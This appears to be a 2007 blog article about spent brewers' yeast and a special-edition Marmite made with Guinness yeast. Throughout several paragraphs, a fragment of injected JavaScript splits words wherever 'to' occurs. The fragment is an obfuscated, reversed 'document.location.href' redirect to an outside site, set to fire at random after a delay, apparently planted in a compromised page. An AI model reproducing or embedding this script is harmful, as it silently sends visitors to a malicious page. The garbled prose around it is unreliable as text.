The dark stuff

Having served its masters without complaint or comment, spent brewers’ yeast trudges off site labelled as a co-product or byproduct. Its next career move is varied and diverse. Some find a new (but brief) home in distilling fermentations, whereas most diversify intobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to new roles in cattle feed, landfill, pet food and yeast extracts.

Although ‘extracts’ (either ‘autobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tolysed’ or ‘hydrolysed’) play a general role in food flavouring, autobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tolysed yeast products have found favour as spreads on bread and tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toast. Brands include Vegemite (Australia), Cenovis (Switzerland) and, the stimulus for this article, Marmite (UK).

Normally of course, being a low profile sort of microorganism, the source of the yeast is anonymous. However, in advance celebration of St Patrick’s day, a special edition Marmite with Guinness yeast has been launched. Of 300,000 jars produced, two thirds are already sold so by the time you read this it will be gone! Apparently the Guinness yeast represents 30% of the product and ‘has the smooth creamy sweetness of Guinness’. For someone who has ‘had a thing’ about Marmite for more years than I care tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to remember, the iconic bottle design has been reconfigured with a few nods tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the equally iconic branding of the liquid.

To quote, ‘Marmite leaves little room for a middle ground – you either love it or you hate it’. Indeed, it’s fun tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to track the partition of the Marmite gene – in my family three of us love it whereas two hate it. Fortunately for my Wife (of the ‘hate’ category) the advent of the ‘squeeze me’ variant has made her life a little easier! To my astobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tonishment, only 28% of the Consumers asked were aware that brewing yeast is the main ingredient in Marmite. A shocking state of affairs! Hopefully, this new product will ‘stick’ and a bunch of brand extensions celebrating other yeasts will be launched. Given that some consumers ‘love it’, linking with other passionately revered brands could really deliver a ‘win win’ but what do I know … I don’t work in marketing!

First published 1 May 2007 in YeastBytes

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